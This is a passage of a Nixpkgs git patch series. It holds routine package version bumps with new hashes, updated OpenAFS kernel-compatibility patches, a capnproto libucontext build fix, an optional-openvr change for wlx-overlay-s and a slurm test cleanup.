+        free = "sha256-A1BBdSGepobpguzokL1zpjce5EOl0zqABYciv9zCOac=";
+        unfree = "sha256-Jkj6T4tMols33uyJSOCcVmxh5iBYYCO/rq9dF4NDMko=";
       }
       .${if enableUnfree then "unfree" else "free"};
     stripRoot = false;

From c07cf133022452f2f5aeba8d95da0a60833c8188 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Thu, 7 Aug 2025 08:20:44 +0200
Subject: [PATCH 3410/4511] pdns-recursor: 5.2.2 -> 5.2.5

(cherry picked from commit 9138b45a0fd3a438b7153bf26e695a3828ef949b)
---
 pkgs/by-name/pd/pdns-recursor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pd/pdns-recursor/package.nix b/pkgs/by-name/pd/pdns-recursor/package.nix
index 125c5110c118..e9dc28431bc0 100644
--- a/pkgs/by-name/pd/pdns-recursor/package.nix
+++ b/pkgs/by-name/pd/pdns-recursor/package.nix
@@ -20,11 +20,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pdns-recursor";
-  version = "5.2.2";
+  version = "5.2.5";
 
   src = fetchurl {
     url = "https://downloads.powerdns.com/releases/pdns-recursor-${finalAttrs.version}.tar.bz2";
-    hash = "sha256-+clSdCMe48XJQZf20FAR1Vq/BrKTdTW6jnjiTqT7vW4=";
+    hash = "sha256-qKZXp6vW6dI3zdJnU/fc9czVuMSKyBILCNK41XodhWo=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {

From 0ff8a8e1c953cbdd84c07457321059eccf0a8c8a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 16:36:27 +0000
Subject: [PATCH 3411/4511] shellhub-agent: 0.19.2 -> 0.20.0

(cherry picked from commit 4316829d6f8d859ff39b3ea2c96aec25d892ffde)
---
 pkgs/by-name/sh/shellhub-agent/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sh/shellhub-agent/package.nix b/pkgs/by-name/sh/shellhub-agent/package.nix
index 48baf1ab40a4..4893f271fff1 100644
--- a/pkgs/by-name/sh/shellhub-agent/package.nix
+++ b/pkgs/by-name/sh/shellhub-agent/package.nix
@@ -12,18 +12,18 @@
 
 buildGoModule rec {
   pname = "shellhub-agent";
-  version = "0.19.2";
+  version = "0.20.0";
 
   src = fetchFromGitHub {
     owner = "shellhub-io";
     repo = "shellhub";
     rev = "v${version}";
-    hash = "sha256-ZUsu/zfzCrn0tvmKxcFwKYQbS7JoPUSpg6/l3QHE4Cw=";
+    hash = "sha256-cDCpZB9lkEnkltY2OQ/Y5HSZmlukeQFbuxhtbeb8E2s=";
   };
 
   modRoot = "./agent";
 
-  vendorHash = "sha256-1UI/JRDRnsRrdV1AfPyE/rWEDAytEYmr+EyXn60UB/Y=";
+  vendorHash = "sha256-17D8xrLlwX57JW4yXfPlo9RQRMCxVa7MjQQmzI/MBas=";
 
   ldflags = [
     "-s"

From b614aa6936eed86135678f8a4541d16a3fbdca9b Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Fri, 1 Aug 2025 13:50:00 -0700
Subject: [PATCH 3412/4511] linuxPackages.openafs: Patch for Linux kernel 6.16

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit f273a07dffcf96d69644ab12457341205312aaf7)
---
 pkgs/servers/openafs/1.8/module.nix | 94 +++++++++++++++++++----------
 1 file changed, 63 insertions(+), 31 deletions(-)

diff --git a/pkgs/servers/openafs/1.8/module.nix b/pkgs/servers/openafs/1.8/module.nix
index c630ce82451e..8e5f9f5d54de 100644
--- a/pkgs/servers/openafs/1.8/module.nix
+++ b/pkgs/servers/openafs/1.8/module.nix
@@ -30,51 +30,83 @@ stdenv.mkDerivation {
   patches = [
     # LINUX: Refactor afs_linux_dentry_revalidate()
     (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16276/revisions/c1d074317e5c8cb8212e0b19a29f7d710bcabb32/patch";
-      decode = "base64 -d";
-      hash = "sha256-8ga9ks9pr6pWaV2t67v+FaG0yVExhqELkvkpdLvO8Nc=";
+      url = "https://github.com/openafs/openafs/commit/02603ec7bb2b6dadd9fc6f30f1d180732673f3d9.patch";
+      hash = "sha256-A5fM6v/WMzl7Jj1liHaPYqlZRa2/q2rxj6H3r25VpXY=";
     })
     # Linux-6.14: Handle dops.d_revalidate with parent
     (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16277/revisions/0051bd0ee82b05e8caacdc0596e5b62609bebd2e/patch";
-      decode = "base64 -d";
+      url = "https://github.com/openafs/openafs/commit/5f85032cdb7f0148dc6165773acb6d6ffe4b6914.patch";
       hash = "sha256-08jedwZ1KX1RSs8y9sh7BUvv5xK9tlzZ6uBOR4kS0Jo=";
     })
     # Linux: Add required MODULE_DESCRIPTION
     (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16372/revisions/39189eba45542376e668636bd79a93ae6a8a7cd2/patch";
-      decode = "base64 -d";
-      hash = "sha256-j5ckKQvybEvmlnFs5jX8g8Dfw37LYWGnfsl4hnZ3+A4=";
+      url = "https://github.com/openafs/openafs/commit/e76b520f1316e7059a7855078f117ce194734317.patch";
+      hash = "sha256-B3h2XLaRL3jaFFKl2naydVedugVo25A2PEK4ds5WHJo=";
     })
     # linux: inode_ops mkdir returns struct dentry *
     (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16373/revisions/769847e205d5908a0c430f7bcfbd2f48e19f8bf8/patch";
-      decode = "base64 -d";
-      hash = "sha256-znv5gunyPnJgi4SRFERJudtYFqiS+AVYDWfvr52Ku3s=";
-    })
-    # Linux: Use __filemap_get_folio()
-    (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16374/revisions/f187add554da9e9c52752edbfa98f486f683cf25/patch";
-      decode = "base64 -d";
-      hash = "sha256-+ay87ThSn6QyPZcN0+oE01Wqbxmz0Z1KXYwocQCvYLg=";
-    })
-    # Linux: Use folio_wait_locked()
-    (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16375/revisions/87a93f6488585553d833e1397e7f0dae0545cb7e/patch";
-      decode = "base64 -d";
-      hash = "sha256-MOVX2LFe8OBnvsQ2UdLvwKrwztOmnu1rdIou4CF+EBs=";
-    })
-    # cf: Introduce AC_CHECK_LINUX_SYMBOL
-    (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16376/revisions/bab5968d7f4639d4a0cbe81aaa3e9716dda00632/patch";
-      decode = "base64 -d";
-      hash = "sha256-d6DZqDTW1uEKSB5PsomS4ix9fYYQzdQVmDATKl6n7x4=";
+      url = "https://github.com/openafs/openafs/commit/eeb4f7012ce8b22ff24d073e52e837ef36507afb.patch";
+      hash = "sha256-2LqB2QGTMoE4Z7fcW4XZV/R9OzR6BI6pD99ODtKQHk8=";
     })
     # cf: check for dentry flag macros/enums
     (fetchpatch {
-      url = "https://gerrit.openafs.org/changes/16377/revisions/f791d8ca4804486c656bc7c221076480df39b465/patch";
+      url = "https://github.com/openafs/openafs/commit/62e2df3182bea9ea7d5e86d4d3a0dfc955bc3753.patch";
+      hash = "sha256-d8zRwt/Wq3UmI/hW033ZyzEP/6her/jspzGTfbunGxw=";
+    })
+    # Linux: Use folio_wait_locked()
+    (fetchpatch {
+      url = "https://github.com/openafs/openafs/commit/16070e998960f7fe0c15dfa13b88c7b1fa36dce2.patch";
+      hash = "sha256-GbqXEviQJUqzEOpRtUHP2iM0Gx6+PYkflmMDAd21t/Y=";
+    })
+    # Linux: Refactor afs_linux_write_end()/begin()
+    (fetchpatch {
+      url = "https://github.com/openafs/openafs/commit/d946ce6f218a2013bc002fb44ad23b89f2d21212.patch";
+      hash = "sha256-9JxMasRbpbdsdcwkJdaiIbNmqqC7VF++/Dl1WmsnRkg=";
+    })
+    # Linux: Use __filemap_get_folio()
+    (fetchpatch {
+      url = "https://github.com/openafs/openafs/commit/0c44e9f27fd0e058b59a9b63d755036829590e81.patch";
+      hash = "sha256-9/anvdp/Pw6Iy4+FC6qTZUTZ318gh88jTr7uDDtu2+Q=";
+    })
+    # LINUX: Use folio_page() to convert folio to page
+    (fetchpatch {
+      url = "https://github.com/openafs/openafs/commit/39ce8f11df2d650bb4d86c76c127c292880a5c76.patch";
+      hash = "sha256-C0ESzTaYq2S41bcuz4Zkd35Sucw+8xrD0E9gx1lHeJ4=";
+    })
+    # LINUX: Remove test for DCACHE_NFSFS_RENAMED
+    (fetchpatch {
+      url = "https://github.com/openafs/openafs/commit/78f5daf8bd79603c53630ba6eb712ab87ebc5dc5.patch";
+      hash = "sha256-CwKp+8toPsKlagcN0r6uafGH0M2bcpFJMbMjd0FsRr8=";
+    })
+    # linux: change lookup_one_len to lookup_noperm
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16435/revisions/d3c424dcaba6ed8415a7617f0ae3622fe84e988a/patch";
       decode = "base64 -d";
-      hash = "sha256-7B0VJE3FeSQU1ElvXI5zXCPq1JRLAycyhqIQuDdR7xE=";
+      hash = "sha256-AqLhS6A68E5M+3CyNnIgv7CB5jGC/hQ4PIqPv0zggq4=";
+    })
+    # linux: refactor afs_linux_writepage
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16436/revisions/1f488463969b436a882c656020d1f3b92c6df440/patch";
+      decode = "base64 -d";
+      hash = "sha256-Wx8Xx97Kox76sSFOdpqxjMzXFrA2IFqKptpYEsfRTac=";
+    })
+    # linux: convert aops->writepage to writepages
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16437/revisions/fd33425820589ed52dc712df63ea8d4b5944de87/patch";
+      decode = "base64 -d";
+      hash = "sha256-B011gge+vzGeUxkGOkKoK/jZn16pvGGc8DpAzzbjV+8=";
+    })
+    # Linux: Use __readahead_folio
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16438/revisions/8a2cbf0ba08097de4b8ab0c57fe2fddf83739b9b/patch";
+      decode = "base64 -d";
+      hash = "sha256-MDb7vOekq/lwBgELMq+VfuvAXiHQmd0vp04ToqIm3lI=";
+    })
+    # Linux: Rename page->index to page->__folio_index
+    (fetchpatch {
+      url = "https://gerrit.openafs.org/changes/16439/revisions/9a5596a25618f153be7ae7eb17f29f3b7752d863/patch";
+      decode = "base64 -d";
+      hash = "sha256-OYlMcmnIkoC841E0ONNWtSCUKokyxOmd0d+AWcXwbAI=";
     })
   ];
 

From dbcd03ecba6e9d7fea11b7c2e0c4ce0fbd562b0e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 17:33:15 +0000
Subject: [PATCH 3413/4511] sydbox: 3.37.2 -> 3.37.6

(cherry picked from commit aa4eb4912e55fb79a3d8081b3421c85d16600999)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index 59dac6afe740..a0edff5679fb 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.37.2";
+  version = "3.37.6";
 
   outputs = [
     "out"
@@ -24,10 +24,10 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-XV3eB6XGDwoJK+wpfuARV7F4OqZJfoAqDmsYS8D2AK4=";
+    hash = "sha256-dcUK6GQK/l6HCTh/k5yaC5VetQmY6J+YWu8VHU1037g=";
   };
 
-  cargoHash = "sha256-uIcF4mzIYOgSfQVFl6kh3337AmdVFDDXIMXtVCqcoXg=";
+  cargoHash = "sha256-Ca4h7B5Vukd21HCEDpA5I+hgyQh7IFDLKeRxlVL0Uzo=";
 
   nativeBuildInputs = [
     mandoc

From eba3d184d02f0ad23ddf531e4bc46a3eb64cf25e Mon Sep 17 00:00:00 2001
From: Jade Lovelace <software@lfcode.ca>
Date: Sat, 9 Aug 2025 18:19:12 +0000
Subject: [PATCH 3414/4511] capnproto: fix fibers on static builds

This was broken (https://git.lix.systems/lix-project/lix/issues/955) and
it's just us not using libucontext (and the libucontext package being
broken).

Fibers should basically be supported on all platforms that matter and
it's mostly just some packaging mishaps that stop them from working, so
we want to turn on the requirement by default so that it works.

(cherry picked from commit 784852621a62a165a11752c09611505969a758bb)
---
 .../ca/capnproto/fix-libucontext.patch        | 74 +++++++++++++++++++
 pkgs/by-name/ca/capnproto/package.nix         | 23 +++++-
 2 files changed, 95 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/by-name/ca/capnproto/fix-libucontext.patch

diff --git a/pkgs/by-name/ca/capnproto/fix-libucontext.patch b/pkgs/by-name/ca/capnproto/fix-libucontext.patch
new file mode 100644
index 000000000000..93c2b99d91a0
--- /dev/null
+++ b/pkgs/by-name/ca/capnproto/fix-libucontext.patch
@@ -0,0 +1,74 @@
+From f26dd335c8650a2f8ab7d6e4fb5dfc40ee6af618 Mon Sep 17 00:00:00 2001
+From: Jade Lovelace <software@lfcode.ca>
+Date: Sun, 10 Aug 2025 10:54:14 +0000
+Subject: [PATCH] fix: include libucontext in Requires.private in cmake builds
+
+This is required so that static musl actually links to libucontext
+correctly to get setcontext/etc for fibers.
+---
+ c++/CMakeLists.txt           | 4 ++++
+ c++/configure.ac             | 4 ++++
+ c++/pkgconfig/kj-async.pc.in | 1 +
+ 3 files changed, 9 insertions(+)
+
+diff --git a/c++/CMakeLists.txt b/c++/CMakeLists.txt
+index f335f12f7c..b2a24e40e0 100644
+--- a/c++/CMakeLists.txt
++++ b/c++/CMakeLists.txt
+@@ -96,6 +96,9 @@ set_property(CACHE WITH_FIBERS PROPERTY STRINGS AUTO ON OFF)
+ # CapnProtoConfig.cmake.in needs this variable.
+ set(_WITH_LIBUCONTEXT OFF)
+ 
++# Used by pkg-config files
++set(ASYNC_REQUIRES_PRIVATE "")
++
+ if (WITH_FIBERS OR WITH_FIBERS STREQUAL "AUTO")
+   set(_capnp_fibers_found OFF)
+   if (WIN32 OR CYGWIN)
+@@ -116,6 +119,7 @@ if (WITH_FIBERS OR WITH_FIBERS STREQUAL "AUTO")
+         if (libucontext_FOUND)
+           set(_WITH_LIBUCONTEXT ON)
+           set(_capnp_fibers_found ON)
++          set(ASYNC_REQUIRES_PRIVATE "${ASYNC_REQUIRES_PRIVATE} libucontext")
+         endif()
+       else()
+         set(_capnp_fibers_found OFF)
+diff --git a/c++/configure.ac b/c++/configure.ac
+index a2de7aac80..ce3c632e8c 100644
+--- a/c++/configure.ac
++++ b/c++/configure.ac
+@@ -216,6 +216,8 @@ AS_IF([test "$with_fibers" != no], [
+   ])
+ ])
+ 
++ASYNC_REQUIRES_PRIVATE=""
++
+ # Check for library support necessary for fibers.
+ AS_IF([test "$with_fibers" != no], [
+   case "${host_os}" in
+@@ -241,6 +243,7 @@ AS_IF([test "$with_fibers" != no], [
+         ])
+         AS_IF([test "$ucontext_supports_fibers" = yes], [
+           ASYNC_LIBS="$ASYNC_LIBS -lucontext"
++          ASYNC_REQUIRES_PRIVATE="$ASYNC_REQUIRES_PRIVATE libucontext"
+           with_fibers=yes
+         ], [
+           AS_IF([test "$with_fibers" = yes], [
+@@ -259,6 +262,7 @@ AS_IF([test "$with_fibers" = yes], [
+ ], [
+   CXXFLAGS="$CXXFLAGS -DKJ_USE_FIBERS=0"
+ ])
++AC_SUBST(ASYNC_REQUIRES_PRIVATE, $ASYNC_REQUIRES_PRIVATE)
+ 
+ # CapnProtoConfig.cmake.in needs these variables,
+ # we force them to NO because we don't need the CMake dependency for them,
+diff --git a/c++/pkgconfig/kj-async.pc.in b/c++/pkgconfig/kj-async.pc.in
+index 49d5ff6996..41aae28555 100644
+--- a/c++/pkgconfig/kj-async.pc.in
++++ b/c++/pkgconfig/kj-async.pc.in
+@@ -8,4 +8,5 @@ Description: Basic utility library called KJ (async part)
+ Version: @VERSION@
+ Libs: -L${libdir} -lkj-async @ASYNC_LIBS@ @PTHREAD_CFLAGS@ @PTHREAD_LIBS@ @STDLIB_FLAG@
+ Requires: kj = @VERSION@
++Requires.private: @ASYNC_REQUIRES_PRIVATE@
+ Cflags: -I${includedir} @ASYNC_LIBS@ @PTHREAD_CFLAGS@ @STDLIB_FLAG@ @CAPNP_LITE_FLAG@
diff --git a/pkgs/by-name/ca/capnproto/package.nix b/pkgs/by-name/ca/capnproto/package.nix
index 59c8a631bc2b..0cc1208c534d 100644
--- a/pkgs/by-name/ca/capnproto/package.nix
+++ b/pkgs/by-name/ca/capnproto/package.nix
@@ -1,11 +1,14 @@
 {
   binutils,
   lib,
+  libucontext,
+  pkg-config,
   clangStdenv,
   fetchFromGitHub,
   cmake,
   openssl,
   zlib,
+  nix-update-script,
 }:
 
 let
@@ -40,12 +43,22 @@ clangStdenv.mkDerivation rec {
     hash = "sha256-gxkko7LFyJNlxpTS+CWOd/p9x/778/kNIXfpDGiKM2A=";
   };
 
-  nativeBuildInputs = [ cmake ];
+  patches = [
+    # https://github.com/capnproto/capnproto/pull/2377
+    ./fix-libucontext.patch
+  ];
+
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ];
   propagatedBuildInputs = [
     openssl
     zlib
   ]
-  ++ lib.optional (clangStdenv.cc.isClang && clangStdenv.hostPlatform.isStatic) empty-libgcc_eh;
+  ++ lib.optional (clangStdenv.cc.isClang && clangStdenv.hostPlatform.isStatic) empty-libgcc_eh
+  # musl doesn't ship getcontext/setcontext unlike basically every other libc
+  ++ lib.optional clangStdenv.hostPlatform.isMusl libucontext;
 
   # FIXME: separate the binaries from the stuff that user systems actually use
   # This runs into a terrible UX issue in Lix and I just don't want to debug it
@@ -55,6 +68,10 @@ clangStdenv.mkDerivation rec {
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+    # merely requires setcontext/getcontext (libc), lix expects fibers to
+    # be available, and we want to make sure that the build will fail if
+    # it breaks
+    (lib.cmakeBool "WITH_FIBERS" true)
     # Take optimization flags from CXXFLAGS rather than cmake injecting them
     (lib.cmakeFeature "CMAKE_BUILD_TYPE" "None")
   ];
@@ -66,6 +83,8 @@ clangStdenv.mkDerivation rec {
 
   separateDebugInfo = true;
 
+  passthru.updateScript = nix-update-script { };
+
   meta = with lib; {
     homepage = "https://capnproto.org/";
     description = "Cap'n Proto cerealization protocol";

From 64813207ad0b26bfb4b35156d4cd1adac5f790ba Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Sun, 10 Aug 2025 22:39:05 +0200
Subject: [PATCH 3415/4511] wlx-overlay-s: make openvr support optional,
 disable on aarch64-linux

wlx-overlay-s uses
https://github.com/galister/ovr_overlay_oyasumi/pull/2, which pulls in a
version of ovr_overlay_sys with a build.rs file that doesn't build on
aarch64-linux.

https://github.com/galister/ovr_overlay_oyasumi is a fork of
https://github.com/Raphiiko/ovr_overlay_oyasumi, which is a fork of
https://github.com/TheButlah/ovr_overlay, with the latter not updated in
two years.

Luckily openvr is kinda discouraged, and openxr is the new kid on the
block, and openvr support can be feature-flagged out.

So let's do this, by adding a withOpenVr option to the derivation, that
defaults to false on aarch64-linux, unbreaking it there.

We still keep openvr support for x86_64-linux enabled, to not regress
experience for people already using openvr on x86_64-linux.

(cherry picked from commit 7e8402ce4e67aa0bba19ed90e6be1b8c8fa65cd9)
---
 pkgs/by-name/wl/wlx-overlay-s/package.nix | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wl/wlx-overlay-s/package.nix b/pkgs/by-name/wl/wlx-overlay-s/package.nix
index a6a77dd7a82a..597225f104b6 100644
--- a/pkgs/by-name/wl/wlx-overlay-s/package.nix
+++ b/pkgs/by-name/wl/wlx-overlay-s/package.nix
@@ -22,6 +22,8 @@
   testers,
   wayland,
   wlx-overlay-s,
+  # openvr support is broken on aarch64-linux
+  withOpenVr ? !stdenv.hostPlatform.isAarch64,
 }:
 
 rustPlatform.buildRustPackage rec {
@@ -37,6 +39,17 @@ rustPlatform.buildRustPackage rec {
 
   cargoHash = "sha256-em5sWSty2/pZp2jTwBnLUIBgPOcoMpwELwj984XYf+k=";
 
+  # explicitly only add openvr if withOpenVr is set to true.
+  buildNoDefaultFeatures = true;
+  buildFeatures = [
+    "openxr"
+    "osc"
+    "x11"
+    "wayland"
+    "wayvr"
+  ]
+  ++ lib.optional withOpenVr "openvr";
+
   nativeBuildInputs = [
     makeWrapper
     pkg-config
@@ -52,11 +65,11 @@ rustPlatform.buildRustPackage rec {
     libXext
     libXrandr
     libxkbcommon
-    openvr
     openxr-loader
     pipewire
     wayland
-  ];
+  ]
+  ++ lib.optional withOpenVr openvr;
 
   env.SHADERC_LIB_DIR = "${lib.getLib shaderc}/lib";
 
@@ -79,7 +92,7 @@ rustPlatform.buildRustPackage rec {
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [ Scrumplex ];
     platforms = lib.platforms.linux;
-    broken = stdenv.hostPlatform.isAarch64;
+    broken = stdenv.hostPlatform.isAarch64 && withOpenVr;
     mainProgram = "wlx-overlay-s";
   };
 }

From 587d72880ab28d2c5ee8b8f5c5bd52661e868626 Mon Sep 17 00:00:00 2001
From: Markus Kowalewski <markus.kowalewski@gmail.com>
Date: Tue, 10 Jun 2025 10:31:11 +0200
Subject: [PATCH 3416/4511] nixos/slurm: remove mysql/InnoDB tuning settings,
 unbreak test

The tuning settings are recommended for production setups:
(https://slurm.schedmd.com/accounting.html#slurm-accounting-configuration-before-build)

These are not needed in the test and broke the MySQL service.

(cherry picked from commit 68d450a5b8102f104db6e9f2ea133730398256d5)
---
 nixos/tests/slurm.nix | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/nixos/tests/slurm.nix b/nixos/tests/slurm.nix
index 02fe38c6ecfe..0ae9f73697e1 100644
--- a/nixos/tests/slurm.nix
+++ b/nixos/tests/slurm.nix
@@ -119,12 +119,6 @@ import ./make-test-python.nix (
                   name = "slurm";
                 }
               ];
-              settings.mysqld = {
-                # recommendations from: https://slurm.schedmd.com/accounting.html#mysql-configuration
-                innodb_buffer_pool_size = "1024M";
-                innodb_log_file_size = "64M";
-                innodb_lock_wait_timeout = 900;
-              };
             };
           };
 

From 1302c08ca71f65979f46bd9c51fee6a1eab94274 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 11 Aug 2025 14:20:53 +0200
Subject: [PATCH 3417/4511] draupnir: 2.5.0 -> 2.5.1

https://github.com/the-draupnir-project/Draupnir/releases/tag/v2.5.1
(cherry picked from commit 9f3929c1f67f061e5ad6731c850c004d3dbd2303)
---
 pkgs/by-name/dr/draupnir/hashes.json  |  2 +-
 pkgs/by-name/dr/draupnir/package.json | 10 +++++-----
 pkgs/by-name/dr/draupnir/package.nix  |  4 ++--
 3 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/dr/draupnir/hashes.json b/pkgs/by-name/dr/draupnir/hashes.json
index e8efb8111d6b..65029021dbf3 100644
--- a/pkgs/by-name/dr/draupnir/hashes.json
+++ b/pkgs/by-name/dr/draupnir/hashes.json
@@ -1,3 +1,3 @@
 {
-  "yarn_offline_cache_hash": "sha256-M0K26W917xtv2KxyATI2pCsyDo8ybjiFqLHPlXY9c8g="
+  "yarn_offline_cache_hash": "sha256-sHvkDzOoRo9Lz4ynNX5vrejOwKBVIzJeVqJzs8M39vA="
 }
diff --git a/pkgs/by-name/dr/draupnir/package.json b/pkgs/by-name/dr/draupnir/package.json
index cd91cacb1519..bcafd3977f54 100644
--- a/pkgs/by-name/dr/draupnir/package.json
+++ b/pkgs/by-name/dr/draupnir/package.json
@@ -1,6 +1,6 @@
 {
   "name": "draupnir",
-  "version": "2.5.0",
+  "version": "2.5.1",
   "description": "A moderation tool for Matrix",
   "main": "lib/index.js",
   "repository": "https://github.com/the-draupnir-project/Draupnir.git",
@@ -52,7 +52,7 @@
     "@sentry/node": "^7.17.2",
     "@sinclair/typebox": "0.34.13",
     "@the-draupnir-project/interface-manager": "4.1.0",
-    "@the-draupnir-project/matrix-basic-types": "1.3.0",
+    "@the-draupnir-project/matrix-basic-types": "1.4.0",
     "@the-draupnir-project/mps-interface-adaptor": "^0.4.1",
     "better-sqlite3": "^9.4.3",
     "body-parser": "^1.20.2",
@@ -63,15 +63,15 @@
     "jsdom": "^24.0.0",
     "matrix-appservice-bridge": "^10.3.1",
     "matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.7.1",
-    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.6.6",
+    "matrix-protection-suite": "npm:@gnuxie/matrix-protection-suite@3.8.0",
+    "matrix-protection-suite-for-matrix-bot-sdk": "npm:@gnuxie/matrix-protection-suite-for-matrix-bot-sdk@3.8.0",
     "pg": "^8.8.0",
     "yaml": "^2.3.2"
   },
   "overrides": {
     "matrix-bot-sdk": "$@vector-im/matrix-bot-sdk",
     "@vector-im/matrix-bot-sdk": "npm:@vector-im/matrix-bot-sdk@^0.7.1-element.6",
-    "@the-draupnir-project/matrix-basic-types": "@the-draupnir-project/matrix-basic-types@1.2.0",
+    "@the-draupnir-project/matrix-basic-types": "$the-draupnir-project/matrix-basic-types",
     "matrix-protection-suite": "$matrix-protection-suite"
   },
   "engines": {
diff --git a/pkgs/by-name/dr/draupnir/package.nix b/pkgs/by-name/dr/draupnir/package.nix
index f663bd139a39..69bec66fdfbc 100644
--- a/pkgs/by-name/dr/draupnir/package.nix
+++ b/pkgs/by-name/dr/draupnir/package.nix
@@ -22,13 +22,13 @@ let
 in
 mkYarnPackage rec {
   pname = "draupnir";
-  version = "2.5.0";
+  version = "2.5.1";
 
   src = fetchFromGitHub {
     owner = "the-draupnir-project";
     repo = "Draupnir";
     tag = "v${version}";
-    hash = "sha256-au0qYS646MAXyfQTk6gJem3geTecgDwzZl+87/6VE5A=";
+    hash = "sha256-fk9V5ZOnu9gHL7GnZ2eTCon/dINTTkWffRdMRj9AjPk=";
   };
 
   nativeBuildInputs = [

From 0c86fe2749120251f5f20d8bcd9bacbcc8d402d4 Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Mon, 11 Aug 2025 00:20:51 +0200
Subject: [PATCH 3418/4511] librewolf-unwrapped: 141.0.2-1 -> 141.0.3-1

(cherry picked from commit 2a338b9aa17d9d10b5edf57fed08317543fc5f11)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 97ba907c5420..a9de719fdb7a 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "141.0.2-1",
+  "packageVersion": "141.0.3-1",
   "source": {
-    "rev": "141.0.2-1",
-    "hash": "sha256-M4RQcpIk4jjcSUFwMI5fPi7frMOEM4+FSpbqNiXxOVc="
+    "rev": "141.0.3-1",
+    "hash": "sha256-0SosHE51IkDyg37fHnlJKn7IbMwr1iSXHr5Wuv2WkPg="
   },
   "firefox": {
-    "version": "141.0.2",
-    "hash": "sha512-bRVSvGTZFeeEpdVgyLs1pTCPNevNJVKwJ/gPlQx/DGJ8ykaweWz24X2PUMgub3Cj7BFHHODgWHlPUAt7FeF7Qw=="
+    "version": "141.0.3",
+    "hash": "sha512-tmCwGIQMQaJUc0tIR6eR8an9L3Lb6oJepZcf0LMmmkPx9L4cz0pT94Cba5g5j04EoULlf4iC1lkLq2Nu91AC9g=="
   }
 }

From e4570d168ef6d534a61eaab765ed41a548788822 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 21:30:48 +0000
Subject: [PATCH 3419/4511] dependency-track: 4.13.2 -> 4.13.3

(cherry picked from commit 3b16f338a258e292fd61db0de0a96b6f29f4e964)
---
 pkgs/by-name/de/dependency-track/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/de/dependency-track/package.nix b/pkgs/by-name/de/dependency-track/package.nix
index c0e58a8968aa..4be4e8cc6f1b 100644
--- a/pkgs/by-name/de/dependency-track/package.nix
+++ b/pkgs/by-name/de/dependency-track/package.nix
@@ -12,7 +12,7 @@
   nixosTests,
 }:
 let
-  version = "4.13.2";
+  version = "4.13.3";
 
   frontend = buildNpmPackage {
     pname = "dependency-track-frontend";
@@ -25,7 +25,7 @@ let
       owner = "DependencyTrack";
       repo = "frontend";
       rev = version;
-      hash = "sha256-HshphdOvJMRdMWYNc+nOkoFGA9Rr+N7+Gs8THBZjKTM=";
+      hash = "sha256-I6vR4FCVxyoNlj/iPopEJn98jsJWt4rGZZXS+iPDcmI=";
     };
 
     installPhase = ''
@@ -33,7 +33,7 @@ let
       cp -R ./dist $out/
     '';
 
-    npmDepsHash = "sha256-u5yVJlW9LhptyHQddd1RCBgU/xNdSNX5FAmSEj6n7Ng=";
+    npmDepsHash = "sha256-t+FPHb+OzavTUXjNw75EuFOuHmv8fQYqRQrUnF2zDXw=";
     forceGitDeps = true;
     makeCacheWritable = true;
 
@@ -50,7 +50,7 @@ maven.buildMavenPackage rec {
